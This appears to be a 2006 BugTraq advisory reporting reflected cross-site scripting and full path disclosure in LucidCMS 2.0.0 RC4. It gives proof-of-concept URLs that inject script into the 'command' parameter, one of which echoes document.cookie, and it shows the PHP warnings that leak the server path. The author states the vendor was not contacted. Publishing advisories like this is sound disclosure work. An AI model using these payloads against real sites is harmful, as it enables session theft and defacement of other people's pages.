BugTraq
Multiple Vulnerabilities in LucidCMS Apr 02 2006 06:07AM
crasher kecoak or id
Multiple Vulnerabilities in LucidCMS

Author : Rusydi Hasan M
a.k.a : cR45H3R
Date : April,1st 2006
Location : Indonesia, Cilacap

--- Software description

lucidCMS is a simple and flexible content management system for
the individual or organization that wishes to manage a collection
of web pages without the overhead and complexity of other available
open source "community" CMS options.

HOME : http://lucidCMS.net
Version : 2.0.0 RC4

--- The bugs

There's 2 bugs.XSS and full path disclosures

--- PoC

1. XSS a.k.a Cross site scripting

How the Proof of concepts ?

http://[victim]/[lucidcms_dir]/index.php?command=login'>[XSS_here]
http://[victim]/[lucidcms_dir]/index.php?i18n=cs_CZ&command=panel'>[XSS_
here]
http://[victim]/[lucidcms_dir]/index.php?i18n=en_US&command=panel'>[XSS_
here]

example :

http://127.0.0.1/lucidcms/index.php?i18n=en_US&command=panel'><script>al
ert(document.cookie)</script>

http://127.0.0.1/lucidcms/index.php?i18n=en_US&command=panel'><h1>Bla bla
bla</h1>

http://127.0.0.1/lucidcms/index.php?command=login'><script>alert('patch your
lucidCMS')</script>

http://127.0.0.1/lucidcms/index.php?i18n=cs_CZ&command=panel'><h1>stooop
idz</h1>

2. Full path disclosures

in /lucid_phplib/translator.php

http://[victim]/[lucidcms_dir]/lucid_phplib/translator.php

Warning: opendir(DIR_LANG): failed to open dir: No such file or directory in
/var/www/html/lucidcms/lucid_phplib/translator.php on line 45

Warning: readdir(): supplied argument is not a valid Directory resource in
/var/www/html/lucidcms/lucid_phplib/translator.php on line 46

Where's the problem ???

function get_languages(){
$langs = array();
$dir = opendir(DIR_LANG); <-- This is the trouble
while($name = readdir($dir)) { <-- and this too
if ($name == '.' || $name== '..') continue;
$langFile = DIR_LANG.$name.'/LC_MESSAGES/'.CONFIG_DOMAIN.'.mo';
if (file_exists($langFile)) {
// $GLOBALS['echoLater'][] = $langFile; //troublshooting...
$langs[] = $name;
}
}
return $langs;
}//get_languages

--- vendor

I'm too lazy :D .

--- shoutz

1. kecoak
(fwerd,chiko,cbug,ladybug,litherr,cybertank,cyb3rh3b,cahcephoe,scut,etc)

2. echo staff (y3dips, moby, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32,
anonymous, the day)
3. ph03n1x,ghoz,spyoff,slackX,r34d3r,xnuxer,negative,sakitjiwa

--- contact

crasher (at) kecoak.or (dot) id [email concealed]

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